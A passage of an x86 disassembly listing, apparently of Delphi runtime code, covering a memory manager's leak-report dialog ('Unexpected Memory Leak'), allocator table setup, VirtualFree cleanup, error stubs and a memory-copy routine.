inc edx
xor eax, eax
loc_400023C2: ; CODE XREF: sub_4000239C+47j
mov ecx, [edi]
cmp esi, [ecx+eax*4+4]
jnz short loc_400023E1
mov edx, [edi]
mov edx, [edx]
mov ecx, [edi]
mov edx, [ecx+edx*4]
mov ecx, [edi]
mov [ecx+eax*4+4], edx
mov edx, [edi]
dec dword ptr [edx]
mov bl, 1
jmp short loc_400023E5
; ---------------------------------------------------------------------------
loc_400023E1: ; CODE XREF: sub_4000239C+2Cj
inc eax
dec edx
jnz short loc_400023C2
loc_400023E5: ; CODE XREF: sub_4000239C+21j
; sub_4000239C+43j
mov ds:byte_4001E7C0, 0
loc_400023EC: ; CODE XREF: sub_4000239C+Fj
; sub_4000239C+18j
mov eax, ebx
pop edi
pop esi
pop ebx
retn
sub_4000239C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400023F4 proc near ; CODE XREF: sub_40002540+84p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFFE0h
push ebx
push esi
push edi
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov eax, [eax]
sub eax, offset byte_4001A044
shr eax, 5
shl eax, 8
mov edx, [ebp+arg_0]
lea esi, [edx+eax*8-1B800h]
lea ecx, [ebp+var_1C]
lea edx, [ebp+var_18]
mov eax, [ebp+var_4]
call sub_40002098
jmp loc_4000252B
; ---------------------------------------------------------------------------
loc_4000242E: ; CODE XREF: sub_400023F4+13Dj
mov eax, [ebp+var_18]
sub eax, 4
test byte ptr [eax], 1
jnz loc_4000251F
mov eax, [ebp+var_18]
call sub_4000239C
test al, al
jnz loc_4000251F
mov eax, [ebp+arg_0]
mov byte ptr [eax-1B801h], 0
xor ebx, ebx
mov eax, [ebp+var_18]
call sub_400022C0
mov edi, eax
test edi, edi
jnz loc_400024F3
mov eax, [ebp+var_18]
cmp dword ptr [eax], 100h
jnb loc_4000251B
mov eax, [ebp+var_18]
add eax, 4
mov eax, [eax]
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jle loc_4000251B
mov eax, [ebp+var_4]
mov eax, [eax]
movzx eax, word ptr [eax+2]
sub eax, 0Dh
cmp eax, [ebp+var_C]
jle short loc_4000251B
mov eax, [ebp+var_18]
add eax, 8
mov [ebp+var_10], eax
mov [ebp+var_11], 1
mov eax, [ebp+var_C]
test eax, eax
jle short loc_400024DE
mov [ebp+var_20], eax
loc_400024B7: ; CODE XREF: sub_400023F4+E8j
cmp [ebp+var_11], 0
jz short loc_400024CD
mov eax, [ebp+var_10]
cmp byte ptr [eax], 20h
jb short loc_400024CD
mov eax, [ebp+var_10]
cmp byte ptr [eax], 80h
jb short loc_400024D1
loc_400024CD: ; CODE XREF: sub_400023F4+C7j
; sub_400023F4+CFj
xor eax, eax
jmp short loc_400024D3
; ---------------------------------------------------------------------------
loc_400024D1: ; CODE XREF: sub_400023F4+D7j
mov al, 1
loc_400024D3: ; CODE XREF: sub_400023F4+DBj
mov [ebp+var_11], al
inc [ebp+var_10]
dec [ebp+var_20]
jnz short loc_400024B7
loc_400024DE: ; CODE XREF: sub_400023F4+BEj
cmp [ebp+var_11], 0
jz short loc_4000251B
mov eax, [ebp+var_10]
cmp byte ptr [eax], 0
jnz short loc_4000251B
mov ebx, 1
jmp short loc_4000251B
; ---------------------------------------------------------------------------
loc_400024F3: ; CODE XREF: sub_400023F4+71j
mov ebx, 2
loc_400024F8: ; CODE XREF: sub_400023F4+116j
cmp edi, [esi+ebx*8]
jz short loc_4000250C
cmp dword ptr [esi+ebx*8], 0
jz short loc_4000250C
inc ebx
cmp ebx, 0FFh
jle short loc_400024F8
loc_4000250C: ; CODE XREF: sub_400023F4+107j
; sub_400023F4+10Dj
cmp ebx, 0FFh
jg short loc_40002519
mov [esi+ebx*8], edi
jmp short loc_4000251B
; ---------------------------------------------------------------------------
loc_40002519: ; CODE XREF: sub_400023F4+11Ej
xor ebx, ebx
loc_4000251B: ; CODE XREF: sub_400023F4+80j
; sub_400023F4+95j ...
inc dword ptr [esi+ebx*8+4]
loc_4000251F: ; CODE XREF: sub_400023F4+43j
; sub_400023F4+53j
mov eax, [ebp+var_4]
mov eax, [eax]
movzx eax, word ptr [eax+2]
add [ebp+var_18], eax
loc_4000252B: ; CODE XREF: sub_400023F4+35j
mov eax, [ebp+var_18]
cmp eax, [ebp+var_1C]
jbe loc_4000242E
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_400023F4 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40002540 proc near ; CODE XREF: sub_40002BB4+24p
var_27928 = byte ptr -27928h
var_27927 = byte ptr -27927h
var_27828 = byte ptr -27828h
var_20029 = byte ptr -20029h
var_1F828 = dword ptr -1F828h
var_1B828 = dword ptr -1B828h
var_1B824 = dword ptr -1B824h
var_1B820 = dword ptr -1B820h
var_1B81C = dword ptr -1B81Ch
var_1B818 = dword ptr -1B818h
var_1B814 = dword ptr -1B814h
var_1B810 = dword ptr -1B810h
var_1B80A = byte ptr -1B80Ah
var_1B809 = byte ptr -1B809h
var_1B808 = dword ptr -1B808h
var_1B801 = byte ptr -1B801h
var_1B800 = byte ptr -1B800h
var_1B004 = byte ptr -1B004h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push eax
mov eax, 27h
loc_40002549: ; CODE XREF: sub_40002540+11j
add esp, 0FFFFF004h
push eax
dec eax
jnz short loc_40002549
mov eax, [ebp+var_4]
add esp, 0FFFFF6DCh
push ebx
push esi
push edi
lea eax, [ebp+var_1B800]
xor ecx, ecx
mov edx, 1B800h
call sub_40003580
lea eax, [ebp+var_1F828]
xor ecx, ecx
mov edx, 4000h
call sub_40003580
xor eax, eax
mov [ebp+var_1B808], eax
mov [ebp+var_1B801], 1
mov edi, ds:dword_4001C70C
jmp loc_4000261F
; ---------------------------------------------------------------------------
loc_4000259D: ; CODE XREF: sub_40002540+E5j
mov eax, edi
call sub_40002058
mov ebx, eax
test ebx, ebx
jz short loc_4000261C
loc_400025AA: ; CODE XREF: sub_40002540+DAj
mov eax, ebx
sub eax, 4
mov esi, [eax]
test esi, 1
jnz short loc_4000260F
test esi, 4
jz short loc_400025CC
push ebp
mov eax, ebx
call sub_400023F4
pop ecx
jmp short loc_4000260F
; ---------------------------------------------------------------------------
loc_400025CC: ; CODE XREF: sub_40002540+7Fj
cmp [ebp+var_1B808], 1000h
jge short loc_4000260F
and esi, 0FFFFFFF0h
sub esi, 4
mov [ebp+var_1B814], esi
mov eax, ebx
call sub_4000239C
test al, al
jnz short loc_4000260F
mov [ebp+var_1B801], 0
mov eax, [ebp+var_1B808]
mov edx, [ebp+var_1B814]
mov [ebp+eax*4+var_1F828], edx
inc [ebp+var_1B808]
loc_4000260F: ; CODE XREF: sub_40002540+77j
; sub_40002540+8Aj ...
mov eax, ebx
call sub_40002034
mov ebx, eax
test ebx, ebx
jnz short loc_400025AA
loc_4000261C: ; CODE XREF: sub_40002540+68j
mov edi, [edi+4]
loc_4000261F: ; CODE XREF: sub_40002540+58j
cmp edi, offset dword_4001C708
jnz loc_4000259D
mov ebx, ds:dword_4001E7B0
jmp short loc_4000266A
; ---------------------------------------------------------------------------
loc_40002633: ; CODE XREF: sub_40002540+13Cj
mov eax, ebx
add eax, 10h
call sub_4000239C
test al, al
jnz short loc_40002667
mov [ebp+var_1B801], 0
mov esi, [ebx+0Ch]
and esi, 0FFFFFFF0h
sub esi, 4
sub esi, 10h
mov eax, [ebp+var_1B808]
mov [ebp+eax*4+var_1F828], esi
inc [ebp+var_1B808]
loc_40002667: ; CODE XREF: sub_40002540+FFj
mov ebx, [ebx+4]
loc_4000266A: ; CODE XREF: sub_40002540+F1j
cmp ebx, offset dword_4001E7AC
jz short loc_4000267E
cmp [ebp+var_1B808], 1000h
jl short loc_40002633
loc_4000267E: ; CODE XREF: sub_40002540+130j
cmp [ebp+var_1B801], 0
jnz loc_400028E3
mov [ebp+var_1B809], 0
xor eax, eax
mov [ebp+var_1B818], eax
lea edx, [ebp+var_27828]
mov eax, offset aAnUnexpectedMe ; "An unexpected memory leak has occurred."...
mov ecx, 28h
call sub_400021F0
mov ebx, eax
mov [ebp+var_1B810], 37h
mov [ebp+var_1B824], offset word_4001A046
lea eax, [ebp+var_1B004]
mov [ebp+var_1B828], eax
loc_400026D1: ; CODE XREF: sub_40002540+2F1j
mov eax, [ebp+var_1B824]
movzx eax, word ptr [eax]
sub eax, 4
mov [ebp+var_1B81C], eax
mov [ebp+var_1B80A], 0
mov edi, 0FFh
mov eax, [ebp+var_1B828]
mov esi, eax
loc_400026F7: ; CODE XREF: sub_40002540+2C8j
lea eax, [ebp+var_20029]
cmp ebx, eax
ja loc_4000280E
cmp dword ptr [esi], 0
jbe loc_40002801
cmp [ebp+var_1B809], 0
jnz short loc_40002731
mov eax, offset aTheUnexpectedS ; "The unexpected small block leaks are:\r\n"...
mov ecx, 27h
mov edx, ebx
call sub_400021F0
mov ebx, eax
mov [ebp+var_1B809], 1
loc_40002731: ; CODE XREF: sub_40002540+1D5j
cmp [ebp+var_1B80A], 0
jnz short loc_40002789
mov byte ptr [ebx], 0Dh
inc ebx
mov byte ptr [ebx], 0Ah
inc ebx
mov eax, [ebp+var_1B818]
inc eax
mov edx, ebx
call sub_400020D4
mov ebx, eax
mov byte ptr [ebx], 20h
inc ebx
mov byte ptr [ebx], 2Dh
inc ebx
mov byte ptr [ebx], 20h
inc ebx
mov edx, ebx
mov eax, [ebp+var_1B81C]
call sub_400020D4
mov ebx, eax
mov eax, offset aBytes ; " bytes: "
mov ecx, 8
mov edx, ebx
call sub_400021F0
mov ebx, eax
mov [ebp+var_1B80A], 1
jmp short loc_40002791
; ---------------------------------------------------------------------------
loc_40002789: ; CODE XREF: sub_40002540+1F8j
mov byte ptr [ebx], 2Ch
inc ebx
mov byte ptr [ebx], 20h
inc ebx
loc_40002791: ; CODE XREF: sub_40002540+247j
mov eax, edi
sub eax, 1
jb short loc_4000279C
jz short loc_400027B1
jmp short loc_400027C6
; ---------------------------------------------------------------------------
loc_4000279C: ; CODE XREF: sub_40002540+256j
mov eax, offset aUnknown ; "Unknown"
mov ecx, 7
mov edx, ebx
call sub_400021F0
mov ebx, eax
jmp short loc_400027EA
; ---------------------------------------------------------------------------
loc_400027B1: ; CODE XREF: sub_40002540+258j
mov eax, offset aString ; "String"
mov ecx, 6
mov edx, ebx
call sub_400021F0
mov ebx, eax
jmp short loc_400027EA
; ---------------------------------------------------------------------------
loc_400027C6: ; CODE XREF: sub_40002540+25Aj
lea edx, [ebp+var_27928]
mov eax, [esi-4]
call sub_40003C6C
movzx ecx, [ebp+var_27928]
lea eax, [ebp+var_27927]
mov edx, ebx
call sub_400021F0
mov ebx, eax
loc_400027EA: ; CODE XREF: sub_40002540+26Fj
; sub_40002540+284j
mov byte ptr [ebx], 20h
inc ebx
mov byte ptr [ebx], 78h
inc ebx
mov byte ptr [ebx], 20h
inc ebx
mov eax, [esi]
mov edx, ebx
call sub_400020D4
mov ebx, eax
loc_40002801: ; CODE XREF: sub_40002540+1C8j
dec edi
sub esi, 8
cmp edi, 0FFFFFFFFh
jnz loc_400026F7
loc_4000280E: ; CODE XREF: sub_40002540+1BFj
mov eax, [ebp+var_1B81C]
mov [ebp+var_1B818], eax
add [ebp+var_1B828], 800h
add [ebp+var_1B824], 20h
dec [ebp+var_1B810]
jnz loc_400026D1
cmp [ebp+var_1B808], 0
jle short loc_400028BA
cmp [ebp+var_1B809], 0
jz short loc_40002859
mov byte ptr [ebx], 0Dh
inc ebx
mov byte ptr [ebx], 0Ah
inc ebx
mov byte ptr [ebx], 0Dh
inc ebx
mov byte ptr [ebx], 0Ah
inc ebx
loc_40002859: ; CODE XREF: sub_40002540+307j
mov eax, offset aTheSizesOfUnex ; "The sizes of unexpected leaked medium a"...
mov ecx, 3Ch
mov edx, ebx
call sub_400021F0
mov ebx, eax
mov edi, [ebp+var_1B808]
dec edi
test edi, edi
jb short loc_400028BA
inc edi
mov [ebp+var_1B820], 0
lea esi, [ebp+var_1F828]
loc_40002888: ; CODE XREF: sub_40002540+378j
cmp [ebp+var_1B820], 0
jz short loc_40002899
mov byte ptr [ebx], 2Ch
inc ebx
mov byte ptr [ebx], 20h
inc ebx
loc_40002899: ; CODE XREF: sub_40002540+34Fj
mov eax, [esi]
mov edx, ebx
call sub_400020D4
mov ebx, eax
lea eax, [ebp+var_20029]
cmp ebx, eax
ja short loc_400028BA
inc [ebp+var_1B820]
add esi, 4
dec edi
jnz short loc_40002888
loc_400028BA: ; CODE XREF: sub_40002540+2FEj
; sub_40002540+335j ...
mov eax, offset asc_4000299C ; "\r\n"
mov ecx, 3
mov edx, ebx
call sub_400021F0
push 2010h
push offset aUnexpectedMemo ; "Unexpected Memory Leak"
lea eax, [ebp+var_27828]
push eax
push 0
call sub_400011B0 ; MessageBoxA
loc_400028E3: ; CODE XREF: sub_40002540+145j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40002540 endp
; ---------------------------------------------------------------------------
align 4
aAnUnexpectedMe db 'An unexpected memory leak has occurred. ',0
; DATA XREF: sub_40002540+160o
align 4
aTheUnexpectedS db 'The unexpected small block leaks are:',0Dh,0Ah,0
; DATA XREF: sub_40002540+1D7o
aBytes db ' bytes: ',0 ; DATA XREF: sub_40002540+22Do
align 4
aUnknown db 'Unknown',0 ; DATA XREF: sub_40002540:loc_4000279Co
aString db 'String',0 ; DATA XREF: sub_40002540:loc_400027B1o
align 4
aTheSizesOfUnex db 'The sizes of unexpected leaked medium and large blocks are: ',0
; DATA XREF: sub_40002540:loc_40002859o
align 4
asc_4000299C db 0Dh,0Ah,0 ; DATA XREF: sub_40002540:loc_400028BAo
align 10h
aUnexpectedMemo db 'Unexpected Memory Leak',0 ; DATA XREF: sub_40002540+390o
align 4
; =============== S U B R O U T I N E =======================================
sub_400029B8 proc near ; CODE XREF: sub_400029FC+DDp
push esi
push edi
xor eax, eax
xor esi, esi
mov edx, offset word_4001A046
loc_400029C3: ; CODE XREF: sub_400029B8+3Dj
cmp ds:byte_4001C706, 0
jz short loc_400029D1
test byte ptr [edx], 0Fh
jnz short loc_400029EE
loc_400029D1: ; CODE XREF: sub_400029B8+12j
movzx edi, word ptr [edx]
shr edi, 3
mov ecx, esi
add ecx, ecx
add ecx, ecx
cmp edi, eax
jbe short loc_400029EC
loc_400029E1: ; CODE XREF: sub_400029B8+32j
mov ds:byte_4001C5C0[eax], cl
inc eax
cmp edi, eax
ja short loc_400029E1
loc_400029EC: ; CODE XREF: sub_400029B8+27j
mov eax, edi
loc_400029EE: ; CODE XREF: sub_400029B8+17j
inc esi
add edx, 20h
cmp esi, 37h
jnz short loc_400029C3
pop edi
pop esi
retn
sub_400029B8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400029FC proc near ; CODE XREF: .itext:4001900Dp
push ebx
push esi
push edi
mov esi, 37h
mov ebx, offset off_4001A060
loc_40002A09: ; CODE XREF: sub_400029FC+D7j
cmp dword ptr [ebx], 0
jnz short loc_40002A14
mov dword ptr [ebx], offset sub_40001484
loc_40002A14: ; CODE XREF: sub_400029FC+10j
lea eax, [ebx-1Ch]
mov [ebx-8], eax
lea eax, [ebx-1Ch]
mov [ebx-18h], eax
xor eax, eax
mov [ebx-10h], eax
mov dword ptr [ebx-14h], 1
movzx eax, word ptr [ebx-1Ah]
add eax, eax
add eax, eax
lea eax, [eax+eax*2]
add eax, 0EFh
and eax, 0FFFFFF00h
add eax, 30h
cmp eax, 0B30h
jnb short loc_40002A50
mov eax, 0B30h
loc_40002A50: ; CODE XREF: sub_400029FC+4Dj
add eax, 4D0h
shr eax, 0Dh
cmp eax, 7
jbe short loc_40002A62
mov eax, 7
loc_40002A62: ; CODE XREF: sub_400029FC+5Fj
mov ecx, eax
mov dl, 0FFh
shl dl, cl
mov [ebx-1Bh], dl
shl eax, 0Dh
add ax, 0B30h
mov [ebx-4], ax
movzx edi, word ptr [ebx-1Ah]
movzx eax, di
mov ecx, eax
shl ecx, 4
lea ecx, [ecx+ecx*2]
add ecx, 0EFh
and ecx, 0FFFFFF00h
add ecx, 30h
cmp ecx, 7330h
jnb short loc_40002AA1
mov ecx, 7330h
loc_40002AA1: ; CODE XREF: sub_400029FC+9Ej
cmp ecx, 0FF30h
jbe short loc_40002AAE
mov ecx, 0FF30h
loc_40002AAE: ; CODE XREF: sub_400029FC+ABj
mov eax, ecx
sub eax, 20h
movzx edx, di
mov ecx, edx
xor edx, edx
div ecx
imul di
add ax, 0EFh
and ax, 0FF00h
add ax, 30h
mov [ebx-2], ax
add ebx, 20h
dec esi
jnz loc_40002A09
call sub_400029B8
mov ds:dword_4001C708, offset dword_4001C708
mov ds:dword_4001C70C, offset dword_4001C708
mov esi, 400h
mov edx, offset off_4001C7A8
loc_40002AFC: ; CODE XREF: sub_400029FC+10Bj
mov eax, edx
mov [eax], eax
mov [eax+4], eax
add edx, 8
dec esi
jnz short loc_40002AFC
mov ds:dword_4001E7AC, offset dword_4001E7AC
mov ds:dword_4001E7B0, offset dword_4001E7AC
pop edi
pop esi
pop ebx
retn
sub_400029FC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40002B24 proc near ; CODE XREF: sub_40002BB4:loc_40002BFFp
push ebx
push esi
push edi
push ebp
mov ebx, offset dword_4001C708
mov esi, offset dword_4001E7AC
mov edi, [ebx+4]
jmp short loc_40002B49
; ---------------------------------------------------------------------------
loc_40002B37: ; CODE XREF: sub_40002B24+27j
mov ebp, [edi+4]
push 8000h
push 0
push edi
call sub_400012CC ; VirtualFree
mov edi, ebp
loc_40002B49: ; CODE XREF: sub_40002B24+11j
cmp edi, ebx
jnz short loc_40002B37
mov edx, 37h
mov eax, offset byte_4001A044
loc_40002B57: ; CODE XREF: sub_40002B24+4Dj
mov ecx, eax
mov [eax+14h], ecx
mov ecx, eax
mov [eax+4], ecx
mov dword ptr [eax+8], 1
xor ecx, ecx
mov [eax+0Ch], ecx
add eax, 20h
dec edx
jnz short loc_40002B57
mov [ebx], ebx
mov [ebx+4], ebx
mov edx, 400h
mov ecx, offset off_4001C7A8
loc_40002B82: ; CODE XREF: sub_40002B24+69j
mov eax, ecx
mov [eax], eax
mov [eax+4], eax
add ecx, 8
dec edx
jnz short loc_40002B82
mov ebx, [esi+4]
jmp short loc_40002BA6
; ---------------------------------------------------------------------------
loc_40002B94: ; CODE XREF: sub_40002B24+84j
mov edi, [ebx+4]
push 8000h
push 0
push ebx
call sub_400012CC ; VirtualFree
mov ebx, edi
loc_40002BA6: ; CODE XREF: sub_40002B24+6Ej
cmp ebx, esi
jnz short loc_40002B94
mov [esi], esi
mov [esi+4], esi
pop ebp
pop edi
pop esi
pop ebx
retn
sub_40002B24 endp
; =============== S U B R O U T I N E =======================================
sub_40002BB4 proc near ; CODE XREF: sub_40006350+37p
cmp ds:dword_4001E7C4, 0
jz short loc_40002BCF
mov eax, ds:dword_4001E7C4
push eax
call sub_400012DC ; DestroyWindow
xor eax, eax
mov ds:dword_4001E7C4, eax
loc_40002BCF: ; CODE XREF: sub_40002BB4+7j
cmp ds:byte_4001C5B4, 0
jz short loc_40002BDD
call sub_40002540
loc_40002BDD: ; CODE XREF: sub_40002BB4+22j
cmp ds:dword_4001E7BC, 0
jz short loc_40002BFF
push 8000h
push 0
mov eax, ds:dword_4001E7BC
push eax
call sub_400012CC ; VirtualFree
xor eax, eax
mov ds:dword_4001E7BC, eax
loc_40002BFF: ; CODE XREF: sub_40002BB4+30j
call sub_40002B24
retn
sub_40002BB4 endp
; ---------------------------------------------------------------------------
align 4
loc_40002C08: ; CODE XREF: sub_4000C5D0+45p
test eax, eax
jz short locret_40002C16
call off_4001A730
test eax, eax
jz short loc_40002C18
locret_40002C16: ; CODE XREF: .text:40002C0Aj
rep retn
; ---------------------------------------------------------------------------
loc_40002C18: ; CODE XREF: .text:40002C14j
mov al, 1
jmp sub_40002D50
; ---------------------------------------------------------------------------
db 0C3h ; Ã
; =============== S U B R O U T I N E =======================================
sub_40002C20 proc near ; CODE XREF: sub_40003C80+Ap
; sub_40004948+Cp ...
test eax, eax
jle short loc_40002C37
call off_4001A724
test eax, eax
jz short loc_40002C30
rep retn
; ---------------------------------------------------------------------------
loc_40002C30: ; CODE XREF: sub_40002C20+Cj
mov al, 1
jmp sub_40002D50
; ---------------------------------------------------------------------------
loc_40002C37: ; CODE XREF: sub_40002C20+2j
xor eax, eax
rep retn
sub_40002C20 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40002C3C proc near ; CODE XREF: sub_40003C9C+Cp
; sub_40004884+1Cp ...
test eax, eax
jz short locret_40002C4A
call off_4001A728
test eax, eax
jnz short loc_40002C4C
locret_40002C4A: ; CODE XREF: sub_40002C3C+2j
rep retn
; ---------------------------------------------------------------------------
loc_40002C4C: ; CODE XREF: sub_40002C3C+Cj
mov al, 2
jmp sub_40002D50
sub_40002C3C endp
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_40002C54 proc near ; CODE XREF: sub_40004F74+22p
; sub_4000599C+BAp ...
mov ecx, [eax]
test ecx, ecx
jz short loc_40002C8C
test edx, edx
jz short loc_40002C76
push eax
mov eax, ecx
call off_4001A72C
pop ecx
or eax, eax
jz short loc_40002C85
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_40002C6F: ; CODE XREF: sub_40002C54+2Ej
mov al, 2
jmp sub_40002D50
; ---------------------------------------------------------------------------
loc_40002C76: ; CODE XREF: sub_40002C54+8j
mov [eax], edx
mov eax, ecx
call off_4001A728
or eax, eax
jnz short loc_40002C6F
retn
; ---------------------------------------------------------------------------
loc_40002C85: ; CODE XREF: sub_40002C54+16j
; sub_40002C54+48j
mov al, 1
jmp sub_40002D50
; ---------------------------------------------------------------------------
loc_40002C8C: ; CODE XREF: sub_40002C54+4j
test edx, edx
jz short locret_40002CA0
push eax
mov eax, edx
call off_4001A724
pop ecx
or eax, eax
jz short loc_40002C85
mov [ecx], eax
locret_40002CA0: ; CODE XREF: sub_40002C54+3Aj
retn
sub_40002C54 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40002CA4 proc near ; CODE XREF: sub_4000E068+6p
; sub_4000E068:loc_4000E093p ...
call sub_40006428
cmp dword ptr [eax+0], 0
jz short loc_40002CC1
call sub_40006428
mov eax, [eax+0]
mov eax, [eax+8]
retn
; ---------------------------------------------------------------------------
loc_40002CC1: ; CODE XREF: sub_40002CA4+Cj
xor eax, eax
retn
sub_40002CA4 endp
; =============== S U B R O U T I N E =======================================
sub_40002CC4 proc near ; CODE XREF: sub_4000E068:loc_4000E0DBp
push ebx
push esi
call sub_40006428
cmp dword ptr [eax+0], 0
jz short loc_40002CEE
call sub_40006428
mov esi, [eax+0]
mov ebx, [esi+8]
call sub_40006428
xor eax, eax
mov [esi+8], eax
jmp short loc_40002CF0
; ---------------------------------------------------------------------------
loc_40002CEE: ; CODE XREF: sub_40002CC4+Ej
xor ebx, ebx
loc_40002CF0: ; CODE XREF: sub_40002CC4+28j
mov eax, ebx
pop esi
pop ebx
retn
sub_40002CC4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40002CF8 proc near ; CODE XREF: sub_40002D04+41p
; .text:40004425p
mov dword_4001A004, edx
call sub_4000486C
sub_40002CF8 endp
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40002D04 proc near ; CODE XREF: sub_40002D50+6j
push ebx
push esi
mov esi, edx
mov ebx, eax
and bl, 7Fh
cmp ds:off_4001C008, 0
jz short loc_40002D20
mov edx, esi
mov eax, ebx
call ds:off_4001C008
loc_40002D20: ; CODE XREF: sub_40002D04+10j
test bl, bl
jnz short loc_40002D31
call sub_40006428
mov ebx, [eax+4]
jmp short loc_40002D40
; ---------------------------------------------------------------------------
loc_40002D31: ; CODE XREF: sub_40002D04+1Ej
cmp bl, 18h
ja short loc_40002D40
movzx eax, bl
movzx ebx, byte_4001A73C[eax]
loc_40002D40: ; CODE XREF: sub_40002D04+2Bj
; sub_40002D04+30j
movzx eax, bl
mov edx, esi
call sub_40002CF8
sub_40002D04 endp
; ---------------------------------------------------------------------------
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40002D50 proc near ; CODE XREF: .text:40002C1Aj
; sub_40002C20+12j ...
and eax, 7Fh
mov edx, [esp+0]
jmp sub_40002D04
sub_40002D50 endp
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_40002D5C proc near ; CODE XREF: sub_4000AF68+28p
; .itext:400199F0p ...
push eax
push edx
push ecx
call sub_40006428
cmp dword ptr [eax+4], 0
pop ecx
pop edx
pop eax
jnz short loc_40002D71
retn
; ---------------------------------------------------------------------------
loc_40002D71: ; CODE XREF: sub_40002D5C+12j
xor eax, eax
jmp sub_40002D50
sub_40002D5C endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40002D7C proc near ; CODE XREF: sub_40002D8C+5p
; sub_40003390+3Cp ...
push ebx
mov ebx, eax
call sub_40006428
mov [eax+4], ebx
pop ebx
retn
sub_40002D7C endp
; =============== S U B R O U T I N E =======================================
sub_40002D8C proc near ; CODE XREF: sub_4000361C+17p
call sub_400011D8 ; RtlGetLastWin32Error
call sub_40002D7C
retn
sub_40002D8C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40002D98 proc near ; CODE XREF: sub_4001293C+ABp
arg_0 = dword ptr 4
push esi
push edi
mov esi, eax
mov edi, [esp+8+arg_0]
xor eax, eax
or al, [esi]
jz short loc_40002DD1
test edx, edx
jle short loc_40002DC2
cmp edx, eax
jg short loc_40002DC9
loc_40002DAE: ; CODE XREF: sub_40002D98+2Fj
sub eax, edx
inc eax
test ecx, ecx
jl short loc_40002DC9
cmp ecx, eax
jg short loc_40002DCD
loc_40002DB9: ; CODE XREF: sub_40002D98+33j
; sub_40002D98+37j
add esi, edx
mov [edi], cl
inc edi
rep movsb
jmp short loc_40002DD3
; ---------------------------------------------------------------------------
loc_40002DC2: ; CODE XREF: sub_40002D98+10j
mov edx, 1
jmp short loc_40002DAE
; ---------------------------------------------------------------------------
loc_40002DC9: ; CODE XREF: sub_40002D98+14j
; sub_40002D98+1Bj
xor ecx, ecx
jmp short loc_40002DB9
; ---------------------------------------------------------------------------
loc_40002DCD: ; CODE XREF: sub_40002D98+1Fj
mov ecx, eax
jmp short loc_40002DB9
; ---------------------------------------------------------------------------
loc_40002DD1: ; CODE XREF: sub_40002D98+Cj
mov [edi], al
loc_40002DD3: ; CODE XREF: sub_40002D98+28j
pop edi
pop esi
retn 4
sub_40002D98 endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40002DDC proc near ; CODE XREF: sub_4000B230+7p
push ebx
call sub_40006428
mov ebx, [eax+4]
call sub_40006428
xor edx, edx
mov [eax+4], edx
mov eax, ebx
pop ebx
retn
sub_40002DDC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40002DFC proc near ; CODE XREF: sub_400021F0+Ap
; sub_40003328+4Fp ...
cmp eax, edx
jz short locret_40002E31
cmp ecx, 20h
ja short loc_40002E81
sub ecx, 8
jg short loc_40002E11
jmp ds:off_40002E54[ecx*4]
; ---------------------------------------------------------------------------
loc_40002E11: ; CODE XREF: sub_40002DFC+Cj
fild qword ptr [ecx+eax]
fild qword ptr [eax]
cmp ecx, 8
jle short loc_40002E2C
fild qword ptr [eax+8]
cmp ecx, 10h
jle short loc_40002E29
fild qword ptr [eax+10h]
fistp qword ptr [edx+10h]
loc_40002E29: ; CODE XREF: sub_40002DFC+25j
fistp qword ptr [edx+8]
loc_40002E2C: ; CODE XREF: sub_40002DFC+1Dj
fistp qword ptr [edx]
fistp qword ptr [ecx+edx]
locret_40002E31: ; CODE XREF: sub_40002DFC+2j
; DATA XREF: sub_40002DFC+38o
retn
; ---------------------------------------------------------------------------
align 4
dd offset locret_40002E31
dd offset loc_40002EB2
dd offset loc_40002EB8
dd offset loc_40002EBF
dd offset loc_40002ECC
dd offset loc_40002ED1
dd offset loc_40002EDC
dd offset loc_40002EE9
off_40002E54 dd offset loc_40002EF4 ; DATA XREF: sub_40002DFC+Er
; ---------------------------------------------------------------------------
loc_40002E58: ; CODE XREF: sub_40002DFC+89j
; sub_40002DFC+92j
push edx
fild qword ptr [eax]
lea eax, [ecx+eax-8]
lea ecx, [edx+ecx-8]
fild qword ptr [eax]
push ecx
neg ecx
and edx, 0FFFFFFF8h
lea ecx, [edx+ecx+8]
pop edx
loc_40002E70: ; CODE XREF: sub_40002DFC+7Dj
fild qword ptr [ecx+eax]
fistp qword ptr [ecx+edx]
add ecx, 8
jl short loc_40002E70
fistp qword ptr [edx]
pop edx
fistp qword ptr [edx]
retn
; ---------------------------------------------------------------------------
loc_40002E81: ; CODE XREF: sub_40002DFC+7j
jle short locret_40002EB1
cmp eax, edx
ja short loc_40002E58
sub edx, ecx
cmp eax, edx
lea edx, [ecx+edx]
jbe short loc_40002E58
sub ecx, 8
push ecx
